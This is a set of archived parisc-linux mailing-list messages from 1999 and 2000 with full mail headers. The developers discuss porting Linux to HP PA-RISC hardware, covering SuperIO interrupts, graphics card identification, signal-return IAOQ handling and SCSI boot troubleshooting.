Xref: news.gmane.org gmane.linux.ports.parisc:8956

Matthew Wilcox <matthew@wil.cx> writes:

> is
> 
> <li> dynamic kernel stack and fix the handling of the initial stack frame.
>         (<a href="mailto:Volunteer">Volunteer?</a>)
> 
> the work that i've just done?  if not, what does it mean?

Yes, the work that you've just done (along with the work Richard did
some time ago to make it so we weren't just mapping 0x10000000 of
stack space on exec).

> if someone thinks it means dynamically growing the kernel stack, we can't do
> this.

I don't know where the 'kernel' bit got put in to that item
... perhaps you should check CVS blame? :-)

-- 
David Huggins-Daines		-		dhd@eradicator.org


From - Thu Nov 08 21:14:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] WAX, Harmony and SuperIO
Date: Tue, 19 Dec 2000 17:40:55 -0800
Lines: 32
Approved: news@gmane.org
Message-ID: <200012200140.RAA16387@milano.cup.hp.com>
References: <3A37C561.48BD88F5@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619453 9170 80.91.229.3 (22 Nov 2014 01:24:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Dec 19 18:36:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA14592
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 18:36:58 -0700
Original-Received: (qmail 15301 invoked by uid 15267); 20 Dec 2000 01:39:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15294 invoked from network); 20 Dec 2000 01:39:57 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 01:39:57 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 3EDC9ABF
	for <parisc-linux@thepuffingroup.com>; Tue, 19 Dec 2000 17:39:56 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id RAA16387
	for <parisc-linux@thepuffingroup.com>; Tue, 19 Dec 2000 17:40:56 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 13 Dec 2000 13:52:17 PST."
             <3A37C561.48BD88F5@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8957

Alex deVries wrote:
> 
> Just an update on three device drivers I'm vaguely working on.
> 
> I'm actually up for working on other various drivers, and am taking
> requests.  I do have quite a variety of hardware to test on.
> 
> 1. Harmony, the sound driver
> 
> Definitely some problems here, most are already documented but one
> notable one is that the sound chip on a 715/75 doesn't appear to be
> Harmony at all.  Does anyone by chance know what this is?

I tried to locate info on this and couldn't. Too many stale links.
Perhaps someone with better connections in/to Fort Collins might know.


> 3. SuperIO
> 
> I made an unsuccessful attempt to understand how SuperIO (the funky IO
> controller in C3k and J5k) PCI interrupts work.

I'm happy to help make interrupts work w/suckyio - it shouldn't be that hard.
They are definitely routed through an I/O SAPIC.
I'll try to figure out how.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hi
Date: Wed, 12 May 1999 19:42:27 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <19990512194227.52770@insula.local>
References: <19990512205759.G1410@mencheca.ch.genedata.com>
Reply-To: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619453 9176 80.91.229.3 (22 Nov 2014 01:24:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:13 +0000 (UTC)
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
Original-X-From: prumpf@jcsbs.lanobis.de  Wed May 12 13:39:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA12384
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 May 1999 13:39:58 -0600
Original-Received: (qmail 4088 invoked by uid 15267); 12 May 1999 19:39:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4080 invoked from network); 12 May 1999 19:39:35 -0000
Original-Received: from mail.lanobis.de (HELO bbs.lanobis.de) (root@62.104.42.195)
  by mailserv2.iuinc.com with SMTP; 12 May 1999 19:39:35 -0000
Original-Received: from world.local by bbs.lanobis.de with smtp
	(Smail3.2.0.92 #2) id m10heqR-001Lz4C; Wed, 12 May 1999 21:39:07 +0200 (CEST)
Original-Received: (qmail 1835 invoked from network); 12 May 1999 19:38:50 -0000
Original-Received: from insula.local (HELO insula.jcsbs.lanobis.de) (@10.1.31.6)
  by world.local with SMTP; 12 May 1999 19:38:50 -0000
Original-Received: (from prumpf@localhost)
	by insula.jcsbs.lanobis.de (8.8.8/8.8.8) id TAA24083;
	Wed, 12 May 1999 19:42:27 GMT
X-Mailer: Mutt 0.89.1
In-Reply-To: <19990512205759.G1410@mencheca.ch.genedata.com>; from Matthew Wilcox on Wed, May 12, 1999 at 08:57:59PM +0200
X-Accept-Language: en,de,se
Xref: news.gmane.org gmane.linux.ports.parisc:8958

> I'd just like to introduce myself.  I've liberated a 715/33 Apollo from
> use as a monitor stand and managed to retrieve all the pieces needed to
> get it as far as a boot prom prompt.  It's got 56MB of RAM and a hard disc
> of some description.  I've got it attached to the ethernet, though I have
> no idea whether this is working right now.  I don't however have anything
> to boot right now - apparently this disc was used for swap when this
> workstations was running HP-UX in the dim distant past (you should see
> the dust).

I think you have the choice to either wait til Linux is bootable or get a
second hard disk and an HP-UX on it. The disks should be narrow SCSI so the
second disk shouldn't really be much of a problem.

> I have no previous experience of the HP architecture, but I'm a dab hand
> at ARM assembler and I'm willing to learn.  Anyway, here I am with a
> machine, ready to help.  

OK, first I propose you look at www.thepuffingroup.com/parisc and get just
about everything linked from the Documentation section. What is most important
to get a kernel working fast is acd.pdf (ARM), the runtime architecture document
and perhaps pdc and iodc descriptions.

I think it should be theoretically possible to put the disk in a supported
machine, cross-build a kernel and bootloader (oh yeah, perhaps you should
fix the problems with that first ;), put it back into the PARISC aso. but
just getting a version of HP-UX and a second disk seems easier to me.

	Philipp Rumpf


From - Thu Nov 08 21:14:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Randolph Chung" <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] general questions
Date: Tue, 19 Dec 2000 19:31:48 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20001219193148.J560@tausq.org>
References: <3A3FF766.95F79F50@rose.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619454 9182 80.91.229.3 (22 Nov 2014 01:24:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Patrick and Tammy Little" <ptlittle@rose.net>
Original-X-From: randolph@tausq.org  Tue Dec 19 19:29:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA15304
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 19:29:01 -0700
Original-Received: (qmail 32690 invoked by uid 15267); 20 Dec 2000 02:31:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32676 invoked from network); 20 Dec 2000 02:31:56 -0000
Original-Received: from phnxpop2.phnx.uswest.net (206.80.192.2)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 02:31:56 -0000
Original-Received: (qmail 51584 invoked by uid 0); 20 Dec 2000 02:31:49 -0000
Original-Received: from bdslppp7.phnx.uswest.net (HELO gandalf.tausq.org) (216.160.217.7)
  by phnxpop2.phnx.uswest.net with SMTP; 20 Dec 2000 02:31:49 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 148Z2i-000275-00; Tue, 19 Dec 2000 19:31:48 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3A3FF766.95F79F50@rose.net>; from ptlittle@rose.net on Tue, Dec 19, 2000 at 07:03:51PM -0500
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:8959

> I'm still a little confused about this port/cross-compile deal though.
> The moving over that is left to do, is it done by running stuff through
> this cross-comp deal or is most everything that is being done still

no, we don't build cross-compiled debian packages... all the ones now
are compiled natively.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


From - Thu Nov 08 21:14:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Pa-RISC Graphics card question
Date: Tue, 19 Dec 2000 18:44:59 -0800
Lines: 61
Approved: news@gmane.org
Message-ID: <200012200245.SAA16490@milano.cup.hp.com>
References: <3A3F505D.1FDA4CDC@optushome.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619454 9184 80.91.229.3 (22 Nov 2014 01:24:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Rod Smart <snaketails@optushome.com.au>
Original-X-From: grundler@cup.hp.com  Tue Dec 19 19:41:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA15923
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 19:41:27 -0700
Original-Received: (qmail 11584 invoked by uid 15267); 20 Dec 2000 02:44:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11564 invoked from network); 20 Dec 2000 02:44:24 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 02:44:24 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 68B21FF; Tue, 19 Dec 2000 18:44:23 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id SAA16490;
	Tue, 19 Dec 2000 18:45:20 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 19 Dec 2000 23:11:10 PST."
             <3A3F505D.1FDA4CDC@optushome.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:8960

Rod Smart wrote:
>     Hello.
> 
>     I have a C-180 RISC box, and it has a GRAPHICS(3) card installed.
> 
>     Running from the command menu during boot-up, then running the
> following command, I get this resul for graphics cards.
> 
>     running    IO
> 
>     GRAPHICS(0)    8/24    INTERNAL_EG_1280    built-in
>     GRAPHICS(3)    10/8    HPA 4071B_L2            GSC Slot 3

HCRX24 graphics card - 24-bit color.

> 
>     Ok now, I understand the GRAPHICS(0) one, thats the wierd looking
> connector on the back,

That's an "Enhanced Video Connector" which was supposed to become
an industry standard. Adapters for EVC to 15-pin are available:
Product Number   Part Number    Description
 A4167A1
                  8120-6862
                                EVC (F) to 15-pin (M)
 A4168A2
                  8120-6861
                                EVC (M) to 15-pin (F)
 A4169A3
                  8120-6863
                                15-pin (F) to 15-pin (F)


> but the GRAPHICS(3) has a DB-15 High Density (Std
> PC video) connector on the back, I'm wondering what this card is?

A4071B     Hyperdrive "B" 24 plane,supports           A4070-69508
           Video Out   (HCRX-24)

> 
>     I have looked on some web sites to find information on the
> accompanying A4331D monitor I have, but they said that the terminals for
> that monitor are BNC connectors, but nothing saying that its also comes
> as a DB-15HD connector.

You need a DB-15 to BNC cable - I think the card outputs SOG (Sync-on-Green)
by default. BNC is just the type of connector used to carry Red, Green, and
Blue signals.

>     Would anyone know if this is a spuuprted video card on the PALINUX
> system?

It's listed as a supported device for the C180 - so I would expect the
STI CON/FB drivers to support it (or eventually support it).

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SuckyIO support
Date: Tue, 19 Dec 2000 18:56:32 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <200012200256.SAA16519@milano.cup.hp.com>
References: <3A3F82E0.C0FB63D6@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619454 9187 80.91.229.3 (22 Nov 2014 01:24:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Tue Dec 19 19:52:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA16513
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 19:52:53 -0700
Original-Received: (qmail 23392 invoked by uid 15267); 20 Dec 2000 02:55:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23381 invoked from network); 20 Dec 2000 02:55:52 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 02:55:52 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 353E3BB0; Tue, 19 Dec 2000 18:55:51 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id SAA16519;
	Tue, 19 Dec 2000 18:56:52 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 19 Dec 2000 10:46:40 PST."
             <3A3F82E0.C0FB63D6@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8961

Alex deVries wrote:
...
> I've taken mkp's initial work on superio.c and added some stuff, but in
> the end am confused by where we actually get the interrupt number from
> the card.  There's no such register in function 1 (where the interrupts
> ultimately end up) and both registers on function 0 and 2 return 0,
> which I don't think is right.

Why are you reading this out of a register? Which register?

IIRC, function 0 and 2 *should* return 0 in INTERRUPT_PIN configuration
register and thus the INTERRUPT_LINE configuration as well.
But since IOSAPIC driver (when invoked by LBA PCI code) munges the
INTERRUPT_LINE contents and puts the virtualized IRQ number in 
dev->irq for the drivers consumption, superio driver should
not be reading these configuration registers.

> I'd thought that PDC would have set this up.

PDC should only sets up the PCI INTERRUPT_LINE config register values
to indicate which IOSAPIC input *line* they are using. parisc-linux has
to map this value to an IRQ region and virtualize the dev->irq value.

> There's not much I can do at this point until we can have some of
> Grant's attention.

If what I wrote above doesn't make any sense, tell me where to
to find the code you are talking about and I can look at it.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] status page
Date: Tue, 19 Dec 2000 19:03:58 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <200012200303.TAA16555@milano.cup.hp.com>
References: <20001220001839.A915@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619455 9192 80.91.229.3 (22 Nov 2014 01:24:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Tue Dec 19 20:00:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA17085
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 20:00:00 -0700
Original-Received: (qmail 30036 invoked by uid 15267); 20 Dec 2000 03:02:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30025 invoked from network); 20 Dec 2000 03:02:59 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 03:02:59 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id E66B4262; Tue, 19 Dec 2000 19:02:57 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id TAA16555;
	Tue, 19 Dec 2000 19:03:59 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 20 Dec 2000 00:18:39 PST."
             <20001220001839.A915@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:8962

Matthew Wilcox wrote:
> 
> is
> 
> <li> dynamic kernel stack and fix the handling of the initial stack frame.
>         (<a href="mailto:Volunteer">Volunteer?</a>)
> 
> the work that i've just done?  if not, what does it mean?
>
> if someone thinks it means dynamically growing the kernel stack, we can't do
> this.

Yes - I think I'm the guilty party - just strike it from the list.

grant


From - Thu Nov 08 21:14:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SuckyIO support
Date: Wed, 20 Dec 2000 01:37:09 -0500
Organization: The Puffins at Linuxcare
Lines: 39
Approved: news@gmane.org
Message-ID: <3A405395.FFFF99E4@linuxcare.com>
References: <200012200256.SAA16519@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619455 9194 80.91.229.3 (22 Nov 2014 01:24:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: adevries@linuxcare.com  Tue Dec 19 23:31:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA18502
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 23:31:18 -0700
Original-Received: (qmail 19209 invoked by uid 15267); 20 Dec 2000 06:34:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19195 invoked from network); 20 Dec 2000 06:34:16 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 06:34:16 -0000
Original-Received: (qmail 26771 invoked from network); 20 Dec 2000 06:34:10 -0000
Original-Received: from hse-ottawa-ppp157550.sympatico.ca (HELO linuxcare.com) (adevries@64.229.130.221)
  by smtp.linuxcare.com with SMTP; 20 Dec 2000 06:34:10 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8963

Grant Grundler wrote:
> Alex deVries wrote:
> > I've taken mkp's initial work on superio.c and added some stuff, but in
> > the end am confused by where we actually get the interrupt number from
> > the card.  There's no such register in function 1 (where the interrupts
> > ultimately end up) and both registers on function 0 and 2 return 0,
> > which I don't think is right.
> 
> Why are you reading this out of a register? Which register?

I'm reading it out of the INTERRUPT_LINE register because that's how
'normal' PCI devices set their dev->irq value.  If you say that's the
right approach, I believe you.

> IIRC, function 0 and 2 *should* return 0 in INTERRUPT_PIN configuration
> register and thus the INTERRUPT_LINE configuration as well.

Ah, good.

> But since IOSAPIC driver (when invoked by LBA PCI code) munges the
> INTERRUPT_LINE contents and puts the virtualized IRQ number in
> dev->irq for the drivers consumption, superio driver should
> not be reading these configuration registers.

Okay... but I get zero in dev->irq already, so I'm not sure the IOSAPIC
driver is virtualizing them properly.

Grant, I'll email the driver to you, Grant, to have a look at.

Thanks for your help!

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] signal.c, etc
Date: Wed, 20 Dec 2000 09:14:02 +0000
Lines: 53
Approved: news@gmane.org
Message-ID: <20001220091402.C2554@linuxcare.com>
References: <87zohuhm30.fsf@cepstral.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619455 9195 80.91.229.3 (22 Nov 2014 01:24:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@eradicator.org>
Original-X-From: rhirst@linuxcare.com  Wed Dec 20 02:17:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA19908
	for <parisc-linux@puffin.external.hp.com>; Wed, 20 Dec 2000 02:17:24 -0700
Original-Received: (qmail 17827 invoked by uid 15267); 20 Dec 2000 09:20:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17735 invoked from network); 20 Dec 2000 09:20:17 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 09:20:17 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id D8EACB005; Wed, 20 Dec 2000 09:14:02 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <87zohuhm30.fsf@cepstral.com>; from dhd@eradicator.org on Sun, Dec 17, 2000 at 02:41:39PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:8964

Hi Dave,

On Sun, Dec 17, 2000 at 02:41:39PM -0500, David Huggins-Daines wrote:
> Hi,
> 
> Just reading through the archives, I noticed you came upon my rather
> hackish IAOQ manipulation in signal.c.
> 
> If you guys need any explanation about the intent of that code please
> ask me.  (I'm back on the parisc-linux list now, BTW)

Welcome back! Feel free to fix anything I broke.

> I freely admit that it is bogus (in fact that's why the comment was
> there), not because I didn't know which part of IAOQ was front and
> which was back, but because:
> 
> (a) There are two different signal exit paths, one from interruptions,
>     one from system calls.  This complicates things *tremendously*.
>     However, exiting from a signal handler always goes via system
>     calls, and in that case, the stored IAOQ values are meaningless.
>     I probably should have removed all the meaningless frobbings of
>     the stored IAOQ, but ... well ... time passes, you become occupied
>     elsewhere, etc.

Right, the code as was worked ok for the syscall case but broke
for the interrupt case.  The problem is that following the signal
and call to sys_rt_sigreturn, you need to return to userland either
via an interrupt return path, or a syscall return path, depending on
where you were when the signal occurred.  There is now a test in
syscall.S for __NR_rt_sigreturn in order to implement that.

> (b) I don't understand what the processor actually does when you
>     restore IAOQ on exit from an interruption.  The HP documentation
>     is not written in a particularly lucid manner.
> 
> (c) Setting iaoq_back to iaoq_front + 4 is *not* the right answer
>     because you may have taken an interruption in a branch, or an insn
>     may have been nullified, etc.

Absolutely - that was the main problem with the code as it was.
Seting iaoq_back to iaoq_front + 4 is valid if you are starting up the
signal handler, and should be ok if the singal occurred while you
were blocked on a syscall.

> (d) I had about ten billion other things to do at the time and was
>     under lots of pressure to get "more important things" working...

Sure - the current code does work for me under various test cases, but
it did take days to get to that point.

Richard


From - Thu Nov 08 21:14:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] (still) booting problems with HP9000/730
Date: Wed, 20 Dec 2000 09:46:08 +0000
Lines: 84
Approved: news@gmane.org
Message-ID: <20001220094608.D2554@linuxcare.com>
References: <Pine.LNX.4.21.0012172113360.11612-100000@sgate.charlysworld.de> <3A3E544E.FC5B58CB@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619456 9203 80.91.229.3 (22 Nov 2014 01:24:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "M. Grabert" <xam@deathsdoor.com>
Original-X-From: rhirst@linuxcare.com  Wed Dec 20 02:49:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA20544
	for <parisc-linux@puffin.external.hp.com>; Wed, 20 Dec 2000 02:49:16 -0700
Original-Received: (qmail 12325 invoked by uid 15267); 20 Dec 2000 09:52:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12317 invoked from network); 20 Dec 2000 09:52:15 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 09:52:15 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A1AE3B005; Wed, 20 Dec 2000 09:46:08 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3A3E544E.FC5B58CB@linuxcare.com>; from adevries@linuxcare.com on Mon, Dec 18, 2000 at 01:15:42PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:8965

On Mon, Dec 18, 2000 at 01:15:42PM -0500, Alex deVries wrote:
> "M. Grabert" wrote:
> > The kernel starts booting, but the scsi driver (old Ncr)
> > reports some warnings/errors like
> > shared memory is not coherent (or so), failed to reset scsi bus,
> > irq probe failed etc...
> > 
> > the scsi driver finally recognizes my Quantum HD and
> > tries to boot from it (mount it)..
> > There is nothing like VFS: unable to mount blabla;
> > instead it runs in to an infinite loop of kernel oops,
> > it prints continously kernel stack/register traces
> > (seem to look all the same).
> 
> I talked to Richard Hirst about this a few hours ago, and it looks like
> there's a problem with the SCSI driver.  It's unclear how difficult it
> would be to get that going, but it certainly is possible to fix.

The following is from my 715/75, where the scsi driver works.  As Alex
said, the scsi driver has a problem on your machine, but not all the
messages indicate real problems.  At one time I had a cdrom attached
which didn't respond well to requests for synchronous working, and the
driver couldn't cope.

What devices do you have on your scsi bus?  Can you disconnect
everything except the Quantum HD as a test?

You can try booting with

	sim700=nodisc:0xff

in case it is a problem with disconnect/reselect, and you could
try

	sim700=nodisc:0xff,noneg:0xff

in case it is a probem with sync/async negotiation.


    SCSI subsystem driver Revision: 1.00
